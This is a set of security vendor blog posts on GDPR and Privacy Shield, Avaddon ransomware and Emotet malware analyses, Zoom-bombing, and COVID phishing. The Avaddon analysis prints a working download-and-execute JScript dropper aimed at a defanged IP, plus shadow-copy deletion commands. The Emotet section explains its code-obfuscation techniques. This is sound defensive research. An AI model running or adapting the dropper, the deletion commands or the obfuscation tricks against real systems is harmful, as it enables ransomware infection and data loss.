Privacy Shield: The end of transatlantic data exchange?

Privacy Shield: The end of transatlantic data exchange?


Currently, it is recommended that affected data flows be identified and switched to alternatives that meet the required level of protection under GDPR. We would therefore like to assure you that Hornetsecurity’s cloud email security services are not affected by the invalidation of Privacy Shield and can continue to be used as usual.


On 16.07.20 the European Court of Justice (ECJ) overturned the data protection framework between the USA and Europe. Although this does not immediately mean the end of data transfer between the two continents, it does have far-reaching consequences. Let’s take a quick look at it.

Privacy Shield – What does it contain?

The Data Agreement came into force at the beginning of 2016 as the successor to the Safe Harbour Agreement. The aim of the Privacy Shield, according to its creators, was to provide legal certainty not only for a higher level of protection for citizens, but also for European companies that exchange data with the USA. US companies would thus be obliged to store the data of EU citizens for only as long as it was used for the original purpose. Data protection experts criticised this agreement from the very beginning, as they suspected that it would not offer any significant changes compared to the previous safe harbour agreement.
For example, the Privacy Shield offered approaches for better data protection, but this was still far from reaching the European standard. In particular, US secret services were able to access data of EU citizens without any restrictions. This fact prompted the ECJ to declare the Privacy Shield invalid.

Out with the Privacy Shield – and now what?

Can data still flow between the USA and Europe? It is clear that the removal of the Privacy Shield agreement creates confusion. First of all, it is important to realize that a distinction must be made between private individuals and companies. Private individuals can still send private emails to the US or make a booking on a US website. The situation is different for companies.
Around 5,000 companies are directly affected by the ECJ’s decision, as they invoke the Privacy Shield when transferring data to the USA. These include companies such as Facebook, Microsoft and Amazon. In order to initially continue to ensure legal data exchange to the USA, companies can alternatively invoke the standard contract clauses that have been practicable to date. But here, too, the question is: Can these still be valid, even if they cannot exclude access by secret services?
German data protection experts, in particular, are beginning to talk about Europe’s digital independence. The Berlin data protection expert Maja Smoltczyk, for example, calls on those responsible for transferring personal data to the USA to switch to service providers in the EU in order to ensure an adequate level of data protection.
It can therefore be assumed that there will be no ‘go ahead’ in the data protection debate to overcome legal uncertainty.

What does this mean for Hornetsecurity customers?

In principle, Hornetsecurity provides its core service in Germany within secure data centers there. There is no data exchange with the USA and Hornetsecurity is therefore not directly affected by this decision.
All subcontractors in a third country commissioned by Hornetsecurity, who have named the Privacy Shield as the basis for data transmission, also have alternative legal bases, so that if one legal basis is no longer applicable, one of the other possibilities will take over. The two other variants for the transfer of data from the European Economic Area to other countries, especially the USA, are Binding Corporate Rules / binding internal data protection regulations and EU standard contractual clauses/EU standard contractual clauses. Our customers will find the exact information about our subcontractors in the Order Processing Agreement in Annex 3.

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Avaddon: From seeking affiliates to in-the-wild in 2 days

Avaddon: From seeking affiliates to in-the-wild in 2 days


On 2020-06-03 it was reported [1] that a new ransomware calling itself Avaddon was seeking partners for their affiliate program, i.e., someone installing the ransomware on victim systems. Just two days later on 2020-06-05 malspam distributing the Avaddon ransomware has been observed.

This article briefly outlines the first wave of malspam distributing Avaddon ransomware as observed by Hornetsecurity’s Security Lab.


The initial email of the Avaddon ransomware uses a pretend image lure:

Initial email

The attached ZIP archive contains a JSript file that upon execution will download and execute the Avaddon ransomware binary:

Content of ZIP

Technical Analysis

In the following we will analyze the malicous email, the JScript downloader, and last but not least the downloaded Avaddon ransomware binary.


Emails are send from <name>[0-9]{2}@[0-9]{4}.com sender email addresses. Most of the four number dot com domains ([0-9]{4}.com) are parked domains without any SPF records, hence, blocking on policy grounds is not possible.

The malspam distributing Avaddon ransomware started on 2020-06-04 at around 14:00:00 UTC and are still lasting while writing this report:

Avaddon ransomware malspam wave timeline

The observed wave seems to target CA (Canada):

Avaddon ransomware wave recipient countries

The recipient industries seem to indicate a focus on education institutions at the receiving end of this wave:

Avaddon ransomware wave recipient industries

However, because this is only data from the first wave this should not be interpreted as the final targeting of the Avaddon ransomware.

JScript Downloader

The attachment contains the IMG000000.jpg.js JScript downloader:

Avaddon IMG000000.jpg.js JScript downloader

The Avaddon downloader script is simply:

var jsRun=new ActiveXObject('WSCRIPT.Shell');
jsRun.Run("cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('hxxp[:]//217.8.117[.]63/sava[.]exe','%temp%\\5203508738.exe');Start-Process '%temp%\\5203508738.exe'",false);
jsRun.Run("cmd.exe /c bitsadmin /transfer getitman /download /priority high hxxp[:]//217.8.117[.]63/sava[.]exe %temp%\\237502353.exe&start %temp%\\237502353.exe", false);

It uses both PowerShell and the BITSAdmin tool to download the sava.exe Avaddon ransomware file to %temp%\\5203508738.exe and %temp%\\237502353.exe respectively and execute it:

Avaddon ransomware downloader process tree

Avaddon Ransomware sava.exe

The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. Imports are freely accessible. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key:

Avaddon ransomware generating AES key

Further the Avaddon ransomware deletes the volume shadow copies via wmic.exe SHADOWCOPY /nointeractive and vssadmin.exe Delete Shadows /All /Quiet.

After encryption the Avaddon ransomware changes the desktop background notifying the victim that files have been encrypted and where the instructions to pay the ransom are located:

Avaddon ransomware desktop background

The Avaddon ransomware leaves a file named [0-9]+-readme.html in every directory it encrypts. This file contains the instructions and an .onion link to the ransomware panel:

Avaddon ransomware ransom note

Victims are expected to copy their ransom ID to the linked .onion Tor hidden service website then received further instructions on how to pay the ransom and receive a decrypter.

Conclusion and Remediation

As can be seen from this example malware underground collaboration can speed up the proliferation and distribution of new ransomware.

Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market already detects and blocks the outlined threat. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats.


Indicators of Compromise (IOCs)


SHA256 Filename Description
05af0cf40590aef24b28fa04c6b4998b7ab3b7f26e60c507adb84f3d837778f2 sava.exe Avaddon ransomware


  • hxxp[:]//217.8.117[.]63/sava[.]exe
Awaiting the Inevitable Return of Emotet

Awaiting the Inevitable Return of Emotet


Emotet is probably the most prolific of the recent malware distribution operations. They often change their malware to ensure it is not detected by any anti-virus software. Even though the Emotet botnet is on “spam break” recent changes in a component of the malware has prompted Hornetsecurity’s Security Lab to take a look at the latest version of Emotet in order to be prepared for its next steps. Emotet has added new code obfuscation techniques. But the Security Lab explains how it can still be analyzed.

The updates to Emotet’s loader do not impact Hornetsecurity’s filters as the Emotet loader is never send directly attached to an email. However, the presented analysis and downloadable Ghidra scripts can help other researchers to jump start their Emotet reverse engineering despite the added obfuscation.



The malware now commonly known as Emotet was first observed in 2014. It was a banking trojan stealing banking details and banking login credentials from victims. But it pivoted to a malware-as-a-service (MaaS) operation providing malware distribution services to other cybercriminals.


Emotet Infection Chain

At least the initial portion of the Emotet infection chain and its used tactics and techniques as defined by the MITRE ATT&CK framework are outlined in the following flow diagram:

Of particular interest is that Emotet steals emails from victims and uses them as templates for new malspam. It uses what is known as email thread hijacking where it replies to old email threads with one of its malicious emails. Victims are much more likely to open emails from known correspondents and even more likely when that email is received in the context of an existing email conversation thread. As a result Emotet distribution campaigns have been very successful. These kind of attacks are one of the main reason why security leaders need to invest into security awareness training to mitigate IT security risks through people.

Emotet is so dangerous because in addition to its own modules to steal victims emails and misuse their computers as C2 and spam servers it delivers other malware, such as TrickBot, which ultimately leads to a Ryuk ransomware infection. So even if a victim cleans the Emotet infection they may already have additional malware running on their system(s) that are not the initial Emotet infection that they cleaned.

When victims become infected with Emotet they become part of the Emotet botnet.



The Emotet botnet is split into separate botnets. Researchers called them Epoch 1 and 2 because they received payload updates at different times. Each Epoch has its own unique RSA key used for its C2 communication. On 2019-09-17 a portion of the Epoch 1 botnet was separated into the Epoch 3 botnet.

Each bot connects to C2 servers of its Epoch. If a victim is infected by an Emotet document belonging to Epoch 1, the document will download the Emotet loader from the Epoch 1 infrastructure and subsequently become part of Epoch 1.

The current structure of the Emotet botnet’s Tier 1 C2 servers is as follows:

Changes are deployed to the E2 botnet first. It is possible that this is done as a test to ensure that in case of introduced breaking changes only one part of the total botnet is lost.


(Recent) History

While we could dig deep into the entangled history of Emotet, its origins and shared code with Feodo, or its relations to Cridex and Dridex, we rather focus on the more recent history.

As hopefully everyone knows that currently (at the time of writing) the Emotet botnet does not send spam. The botnet often has these breaks. But it often comes back from such a break with updates rendering it more dangerously as before. A timeline of recent “spam breaks” is as follows:

Returning 2018-10-31 Emotet delivered a new Email Stealer Module. Returning 2019-09-16 Epoch 3 was split from Epoch 1. In preparation of this publication on 2020-04-29 TrickBot (a notorious malware often distributed via Emotet) has been observed dropping the Emotet loader. Speculations are that due to the long absence in Emotet malspam, which is used to seed the botnet with new bots, and current infections being constantly cleaned, the number of Emotet bots may have shrunk to a critical low number, so they are seeded by the operators behind the TickBot malware in a quid-pro-quo for Emotet’s TrickBot distribution efforts. But these are only speculations and nothing clear is known at this time.

What is known is that now with changes to the Emotet loader being dropped from Epoch 2 since 2020-04-20 the questions are when and with what new tricks will Emotet return this time. Hence, Hornetsecurity’s Security Lab has analyzed the recent changes in the Emotet malware.


Technical Analysis

Due to a lack of current Emotet spam we can not analyze any malicious emails or documents. We therefore present an analysis of the Emotet loader binary.


Emotet Loader Binary

We analyzed both the “old” version that was dropped from Epoch 1 on 2020-02-20 (which has not received any notable changes since the 2020-02-05 update), and the “new” version dropped from Epoch 2 on 2020-02-20 onwards.



The metadata of the new version contains fragments of news article text. The File Description, Internal Name, Original Filename, Product Name, and Copyright texts are filled with fragments of news articles:

This is another indicator that Emotet uses the same packer as Trickbot, which has been seen with news article text in its metadata shortly before Emotet featured news article texts. Researchers have duped this crypter “Exes’r’rus” [JRoosen].

Because malware packers frequently change, this change is not unusual. It has been seen around 2020-02-14, but The Emotet loader payload can still be extracted via generic (and automated) unpacking mechanisms.



Emotet added more obfuscation. The most notable change is control flow flattening and junk code. This makes the binary more annoying to analyze as well as allow for simpler polymorphic changes. Most of the obfuscation was already added in the 2020-02-05 change.


Control Flow Flattening

Control flow flattening is an obfuscation technique. It splits a code sequence into multiple parts and rearranges then in a way that is more difficult to follow. A common way is to place the code parts into a loop and on each loop run executing different code parts in the loop body determined by a state variable.


The code sequence:


is turned into:

state = STATE_1
	if ( state > MAGIC_VALUE_1 )
		if ( state == STATE_2 )
			state = STATE_3;
		if ( state == STATE_1 )
			state = STATE_2;
	else if ( state == JUNK_STATE_1 )
		state = STATE_4
		if ( state == STATE_3 )
			state = JUNK_STATE_1;
		if ( state == STATE_4 )
} while(1);

While semantically identical the second code is harder to follow.


In Emotet this looks like:

Emotet uses this to move code blocks around, as can be seen in this example, where the code block setting up the headers of the HTTP C2 communication is near the beginning of the function in one binary and near the end of the function in another binary:

Junk Code

Another technique Emotet uses is called junk code. Here useless code that does not change the semantics of a program is added.

The code sequence:

unsigned int function(unsigned int n) 
    if (n == 0) 
        return 1; 
    return n * function(n - 1); 

is turned into:

unsigned int function(unsigned int n) 
    unsigned int a = 1234;
    unsigned int b = 4321;
    a = n + b;
    b = n + a;
    if (n == 0 && a > 10 && b > 20)
        b = n - a;
        n = b;
        return 1;
    a = b + 42;
    return n * function(n - 1); 

Here the calculations on the variables a and b are irrelevant code. They do not influence the result of the code at all. However, an analyst does not know which calculations are important and which are not. Hence, while semantically identical the second code is harder to understand.


Luckily modern analysis software is able to simplify artificially complicated code. So a complex looking function:

is automatically reduced to a return of a static value:

This is used in the next obfuscation method.


Opaque Predicates

Opaque predicates are branch conditions for which the outcome is already known, but which still need to be evaluated at runtime. An example would be a code that gets the current time twice. Because time never goes backwards the first value will not be greater than the second:

time_t a = time(NULL);
time_t b = time(NULL);
if ( a <= b )

While to a human this is logical, a machine would still need to evaluate what values a and b have to determine whether to take the jump or not.


Emotet uses functions with a static return value – see previous junk code example above – and uses their return values as a branch condition:

The branches used for control flow flattening also use opaque predicates, as the state variable changes predictable but must be evaluated at runtime.


Dynamic Library and Function Resolution

All library calls are dynamically resolved by hash. Previous versions stored the resolved functions. Now they are just-in-time resolved before every call.


For each library call, first the library is obtained (emotet_get_lib()). Then the address of the desired function is obtained (emotet_get_func):

Libraries are resolved via the InLoadOrderModuleList reachable from the Process Environment Block (PEB) (FS:[0x30]):

Then the DllBaseName for every loaded module is hashed and compared against the current queried hash. If the hash matches the DllBase is returned. The GET_LIB_XOR_VALUE varies for each binary. This means that library hashes change from sample to sample and can not be pre-calculated. They must be calculated for each sample individually.


Addresses of functions are obtained via manually traversal of in this case the export directory data structure. Each exported function name of the previously resolved DLL’s image is iterated over and hashed. If the hash matches the function’s address is returned:

Emotet still uses the same hashing algorithm as previous versions:

The emotet_get_func() function uses a variation without mapping the uppercase characters to lowercase, i.e., its hash is case-sensitive, and ingesting a char string instead of a wchar string. The emotet_hash() function is also heavily laced with junk code, which luckily the decompiler already simplified and/or discarded.


Using the Ghidra analysis scripts and the called library and function names can be reconstructed from their hashes:

The following libraries that are usually not loaded into a process by default are loaded via LoadLibraryW:


Handles to the libraries are stored to allocated memory. But never used. We have found other functions and code paths that are never used. These is likely leftover code that was not removed during code updates.


XOR Obfuscation

Strings and the RSA key are (as in previous versions) XOR obfuscated. The use the following structure:

typedef emotet_xor_data_t {
    uint32_t xor_key;
    uint32_t len;
    uint32_t data[];
} emotet_xor_data_t;

They are decrypted by first XOR’ing len with xor_key. Then XOR’ing decoded and to 4-byte boundaries aligned len bytes of data with xor_key:

The XOR key again changes from binary to binary. But still the decoding process can be automated, e.g. the script can decode used strings:

They are also just-in-time decrypted on demand to a new memory allocation. The memory allocation holding the decrypted string is deleted again after use for every use of the string.


Static Analysis Tutorial

With the basics of the new obfuscation techniques covered we quickly outline how Emotet can still be analyzed.

  1. Unpack your Emotet sample. E.g., using the free open source community developed CAPE sandbox [CAPE].
  2. Import into Ghidra [GHIDRA].
  3. Run Auto Analysis.
  4. Run with currentAddress in 2nd function called in entry function (this is what we refer to as the emotet_get_lib function).
  5. Run (selecting func_names.txt) with currentAddress in 3rd function called in entry function (this is what we refer to as the emotet_get_func function).
  6. Run with currentAddress in emo_*_LoadLibraryW function.
  7. Run with currentAddress in 1st function called in emo_*_LoadLibraryW function.

Then you have:

  • Comments for library and function resolution.
  • Two enum types emotet_{lib,func}_hash with enums for the library and function hashes, which you can optionally apply to the emotet_get_{lib,func} functions.
  • Emotet strings decrypted and set as comments, labels as well as searchable bookmarks.

C2 communication is found by searching for usage of the HttpSendRequestW function. The type of request and request headers can be found by backtracking via the first parameter (hRequest) to HttpSendRequestW. Alternatively usage of the HttpOpenRequestW function, the InternetConnect function, the POST string, or the Referer: http://%s/%s ... string will yield the relevant code.

C2 IP storage can be found by searching for the %u.%u.%u.%u string. These octets are filled from data in a allocation we named emotet_c2_data. This allocation is filled from a data location we named emotet_c2_list. If you run with currentAddress set to the address of emotet_c2_list the C2 list is decoded and annotated as a comment.

The C2 HTTP request template looks like:

Referer: http://%s/%s
Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"; filename="%s"
Content-Type: application/octet-stream


RSA key is found by searching the source of the 3rd parameter (pbEncoded) to the CryptDecodeObjectEx function. It is XOR encoded like the strings. You can run with currentAddress on the data location passed to the function that returns the pointer that is then passed as the 3rd parameter to the CryptDecodeObjectEx function. You can use openssl asn1parse -inform DER -in emotet_key.bin to check if the decoded emotet_key_bin is valid. The key must be the exact length without any appended bytes beyond the ASN1 DER sequence stream.

Search for functions using the OpenSCManagerW function. One function will contain an assignment to a data location. Emotet uses OpenSCManagerW to check whether it has admin rights or not. This is where what we call the is_admin flag is set. Use “Auto Create Structure” on the data reference and name it emotet_data and name the field assigned the value 1 is_admin.

Search for functions using the string %s\%s.exe. This is where the executable path is constructed. In its vicinity the emotet_data data location is accessed. Determine by their usage as parameters to the _snwprintf function which of the two fields in the emotet_data structure is the exe_path and which is the exe_name.

Then use “References -> Find use of emotet_data_t.exe_name” to find out how the exe_name is generated. Do the same for the exe_path. The exe_name will also be used to generate the service name. Relevant code is found by searching for CreateServiceW.
Persistence via run keys is found via RegCreateKeyExW and/or the SOFTWARE\Microsoft\Windows\CurrentVersion\Run string.

Searching for usage of the %s:Zone.Identifier string finds where Emotet deletes its Zone.Identifier ADS, which on Windows is used to mark files downloaded from external sites as potentially unsafe.

As an interesting side note older new versions contained code removing old Emotet binaries which names were generated from word lists:

This functionality has been removed from the latest version, indicating that the migration to the new version has been completed for Epoch 2 and there is no need to delete old binaries anymore:

(Either that or the function has moved and has not been picked up by our string deobfuscator script.)

The following video demonstrates how our scripts can be used to jump start your own analysis of the Emotet loader:


Download our scripts on Github.



Tier 1 C2 geolocation

Emotet’s tier 1 C2 proxies and servers are geolocated all over the world:

(C2 IP list as observed 2020-04-20.)


Conclusion and Remediation

To protect against Emotet the US CERT recommends to “implement filters at the email gateway to filter out emails with known malspam indicators” [USCERT].

Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market are not impacted by the updates to the Emotet loader (as the loader is never send directly via emails) and thus will (as in the past) block all Emotet malspam indicators, such as macro documents used for infection, but also known Emotet download URLs. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown malicious links by dynamically downloaded and executing the potentially malicious content in a monitored and sandboxed environment. Meaning that even in the event the Emotet loader changes is accompanied in a change in delivery tactics, Hornetsecurity is prepared.

Beyond blocking the incoming Emotet emails defenders can use public available information by the Cryptolaemus team, a voluntary group of IT security people banding together to fight Emotet. They provide new information daily via their website [CryptolaemusWeb]. There you can obtain the latest C2 IP list for finding and/or blocking C2 traffic. For real-time updates you can follow their Twitter account [CryptolaemusTwitter].

We acknowledge that our presented analysis only scratches the surface of the Emotet malware complex, but when Emotet returns so will we, with updated analyses of new malicious documents and/or any other new developments.





Samples Used



SHA256 Description
cc96711da9ef7b63d5f1749d8866b0149f84506f9d53d79de018dac92e9443a0 Epoch 1 sample (“old” version) 2020-04-20
4c3acc885006faebe59e0bfdd452499056d8fcc9e6a810d7ff93762ce1a061ad Epoch 1 sample unpacked payload 2020-04-20
4250a3ab9044b4a3a5f8319e712306bb06df61b1dee8b608505c026bacba4aa1 Epoch 2 sample (“new” version) 2020-04-20
14f8463a86bbae338925fbbcb709953ae7f1bffdb065fee540b6fa88fbbce70e Epoch 2 sample unpacked payload 2020-04-20
“Zoom-bombing” Attacks during COVID-19: How can I protect myself?

“Zoom-bombing” Attacks during COVID-19: How can I protect myself?

The video conferencing software Zoom is enjoying enormous popularity because of the recent mass move to working from home. Unfortunately, concerns about the security of the tool have arisen. It was possible for uninvolved parties to join other people’s meetings and contribute unwanted or offensive content – the phenomenon was given the name of “Zoom-bombing.” In this blog post, the experts at Hornetsecurity have some tips on how to use Zoom safely.

In March 2020, Zoom reached 200 million users in one day

During the lockdown caused by the Coronavirus COVID-19 crisis, more and more businesses and people have begun using video conferencing tools, whether to assist them while working from home, teach online classes, see their family or friends, or even organize online parties. Thanks to this videoconference technology, these difficult days are being made a little easier. Can you imagine not being able to do videoconferences during this crisis—especially as a business?


For many patients who have been isolated away from their families, being connected via videoconference gives them the ability to see their relatives and not feel alone while recovering. Even if it is through the screen of a smartphone or tablet, feeling connected is what really matters to them during these trying times.

As a result of the current situation, Zoom reached 200 million users per day in March according to data provided by the company. This is a massive increase from December 2019, when the maximum number of participants per day in Zoom video calls was only 10 million.

New type of hijacking: “Zoom-bombing”

Unfortunately, cybercriminals have taken advantage of the coronavirus situation, and on March 30th the FBI alerted the public to the rise of hijacking cases via videoconference, also called “Zoom-bombing.” The FBI has received multiple reports of educational lectures interrupted by pornographic images and/or hate speech and threatening language.

The U.S. House of Representatives was the most recent victim of a “Zoom-bombing” cyberattack. The meeting was interrupted by uninvited attendees on at least three separate occasions—according to an internal letter to Carolyn Maloney (Republican Chairwoman of New York), chair of the Oversight and Reform Committee, which is the main investigative committee of the U.S. House of Representatives.

Also the INCIBE (National Cybersecurity Institute in Spain) reported a vulnerability affecting the Windows operating system that could allow a cybercriminal to steal the victim’s username and hash of the access password via Zoom. In addition, using the same vulnerability, the cybercriminal could run files and programs from the attacked computer. This applied to Windows users with versions earlier than 4.6.9.

Furthermore, it has been observed that phishing emails are being sent to users in the name of Zoom. These emails contain a fake Zoom notification inviting the recipient to an upcoming videoconference with their manager—in the hope that Zoom users will be misled to hurriedly enter their log-in data on a fake Zoom registration landing page. With the stolen credentials, hackers get access to the accounts and as well as the meeting IDs. They sell this information on the dark web or even give it away for free, so it can be used for “Zoom-bombing” attacks.

What can we do to prevent “Zoom-bombing”?

Users can already prevent the problem of “Zoom-bombing” by making the following adjustments in their Zoom settings:

• Make sure the meeting is conducted using encryption*
• Create waiting rooms for attendees
• Require the host to be present before the meeting begins
• Audio signatures
• Enable/Disable a participant or all participants to record
• Temporary pause to share the screen when a new window opens
• Protect the meeting with a password

* Chat Encryption Zoom uses both asymmetric and symmetric algorithms to encrypt the chat session. Session keys are generated with a device-unique hardware ID to avoid data being read from other devices.

Image: Chat encryption setting in Zoom conferences

Chat encryption setting in Zoom conferences

Image: Host setting in Zoom conferences

Host setting in Zoom conferences

In addition to the correct Zoom account settings, it is also crucial to use third-party applications to protect your email account from phishing attacks that attempt to obtain Zoom credentials.



All these measures will help you prevent potential Zoom-bombing cyberattacks. However, special attention must be paid to email communication, as it is the most-attacked vector by cybercriminals—which has been demonstrated once again by the phishing emails for obtaining Zoom credentials.

One solution is Hornetsecurity’s Advanced Threat Protection service, which protects your email account from this kind of phishing cyberattack. It also uses innovative detection mechanisms: the latest technology of freezing, URL scanning, rewriting and sandboxing to keep hackers away from your Zoom credentials and all other sensitive data.

We can’t allow cybercriminals to take advantage of the current Coronavirus COVID19 crisis —whether via Zoom or any other teleconference video service—since it has now become a vital need to communicate with our colleagues, family and friends.


Security gaps in the home office? The challenge of IT security in times of crisis

Security gaps in the home office? The challenge of IT security in times of crisis

The number of coronavirus infections is increasing each day, which has resulted in drastic countermeasures. Shops, restaurants and other public places are staying closed to prevent the spread of the virus. Companies are asking their employees to work from their homes. During this extraordinary and sometimes overwhelming situation, companies and employees should not have to face additional fears about IT security in the home office. Hornetsecurity has some recommendations for this.

The progress of digitalization and the development of new technologies has already brought many changes for the economy worldwide. Cloud computing, big data, robotics and artificial intelligence offer companies advantages such as process optimization, the ability to save resources and rapid data and information exchange. New companies and jobs have been created on the basis of these developments. In addition, many employees can now perform their tasks regardless of location while continuing to communicate with their colleagues and employer. As a result, companies often make it possible for their employees to work from home.

Microsoft Office 365 is regarded as a major driver of collaborative work via the cloud. Important files can be stored and exchanged from anywhere in real time. This makes working from home even easier. In times of crisis such as this, having employees work from home is often the only way for companies to ensure the safety of their workforce while maintaining business operations. Both employers and employees are faced with major challenges by this change. The most frequently asked questions revolve around the topic of IT security:

  • How can the corporate IT infrastructure be protected when employees work from the home?
  • Do companies and employees have to take specific measures?
  • Are protective mechanisms such as spam and virus filters also active in the home office?

Following are some tips regarding security precautions that could be utilized in the home office to ensure the protection of internal company data. We also discuss the special security measures for Office 365, since users of the Microsoft Cloud Service are increasingly targeted by hackers and how cybercriminals are taking advantage of the fear of the spread of COVID-19 and distributing phishing emails and fake websites in order to obtain passwords, user names and email addresses.

According to the security experts at Hornetsecurity, the following precautions should be taken and considered in the home office:

  • Use of a VPN service so that employees can establish a secure connection to the company network (perimeter security)
  • Install the latest updates for operating systems and apps
  • Restrict the access rights of people connecting to the corporate network
  • All corporate devices, including smartphones and laptops, should be protected by appropriate security software. Ideally this will include data erasure functions for devices reported as lost or stolen, separation of personal and professional data, and restrictions on the installation of apps
  • Staff training to inform about dangers that may be associated with unsolicited messages
  • Office 365 users are targeted by cyber criminals, especially in such times of crisis. Security experts therefore recommend not relying solely on Microsoft’s protective mechanisms, but to additionally secure Office 365 accounts with third-party solutions. (Read more)

Hackers use the crisis to launch targeted cyber attacks:

Since the beginning of February, the Hornetsecurity Security Lab has been monitoring various phishing email campaigns aimed at tapping email addresses and passwords or smuggling malware into the systems of the recipients through links and attached documents. The malware can be ransomware or spy software, for example. You can read more about the hackers’ methods here.

To get a visual overview of the worldwide spread of the coronavirus, people are accessing the interactive “coronavirus map” created by John Hopkins University. For the past few days , however, a fake version of the website has been circulating on the internet that will install malware on users’ computers.

The IT security experts at Hornetsecurity assume that the coronavirus scams will continue to increase in the near future. We expect, for example, fake emails from health authorities and similar governmental institutions or phishing emails from alleged charity organizations asking for donations for hospitals and emergency medical facilities.

We are aware that it is extremely important to communicate reliably and securely, especially in times of crisis. We would therefore like to take this opportunity to inform our customers that, despite the current exceptional situation, our services will continue to ensure the comprehensive security of their email communication.

If you have any further questions, our staff will of course be happy to answer them at any time.

Coronavirus is also dangerous by email

Coronavirus is also dangerous by email

Hornetsecurity warns of phishing and malware attacks that pretend to be from global health organizations

Reports of new cases of Coronavirus infection are appearing rapidly. The pictures of sealed-off cities and people in quarantine suggest a horrifying scenario. But the virus is not only a risk in the analogue world: the growing fear is shamelessly exploited by cyber criminals with targeted phishing and malware campaigns. Sadly, there is now a Coronavirus infection risk via email.

Since the beginning of February, the Hornetsecurity Security Lab has observed an increased volume of emails sent in the name of the World Health Organization and the Centers for Disease Control and Prevention. The messages explicitly take advantage of people’s fear of the virus.

For example, a link provides an alleged list of new cases of infection in the immediate vicinity. The recipient would be able to access this list by entering an email address and a password. This is a classic phishing email that is intended to steal sensitive data. In other cases a download link or an attached document is offered. Both promise information on security measures to protect against infection.

If the link is clicked or the document is opened, a malicious file will be downloaded. There is a substantial risk that the IT system could be infected with a virus or ransomware.

Increase in attacks that reference current events

The experts at Hornetsecurity point out that more and more often, current events with a high emotional charge are being used as hooks for large-scale phishing and malware campaigns. By exploiting people’s emotions, cyber criminals know their emails will receive more attention and be seen as more credible. The probability that the messages will be opened increases.

The Coronavirus mailing is only one of many current cases. There have been similar mail attacks referencing the climate protests initiated by Greta Thunberg, GDPR and the bush-fires in Australia—all of these are actual exploits that have been intercepted by Hornetsecurity.

Since email communication in companies is still the number one gateway for cyber attacks, employees must be made aware of this issue in addition to setting up effective protection mechanisms. Detecting phishing emails is not easy – but not impossible either. To vet suspicious messages, the following areas should be checked:

  • The sender’s email address can provide information about the true origin of the message. If it is not plausible or contains spurious letters or cryptic symbols, this is a warning sign.
  • Large-scale phishing campaigns often only use a generic form of address for the recipient.
  • Incorrect spelling and grammar and an unprofessional layout are also an indication.
  • The use of pressure is a common tactic. This is intended to undermine critical thinking.
  • Cyber criminals often try to get the recipient to open a URL or attachment. Email attachments can present serious risks.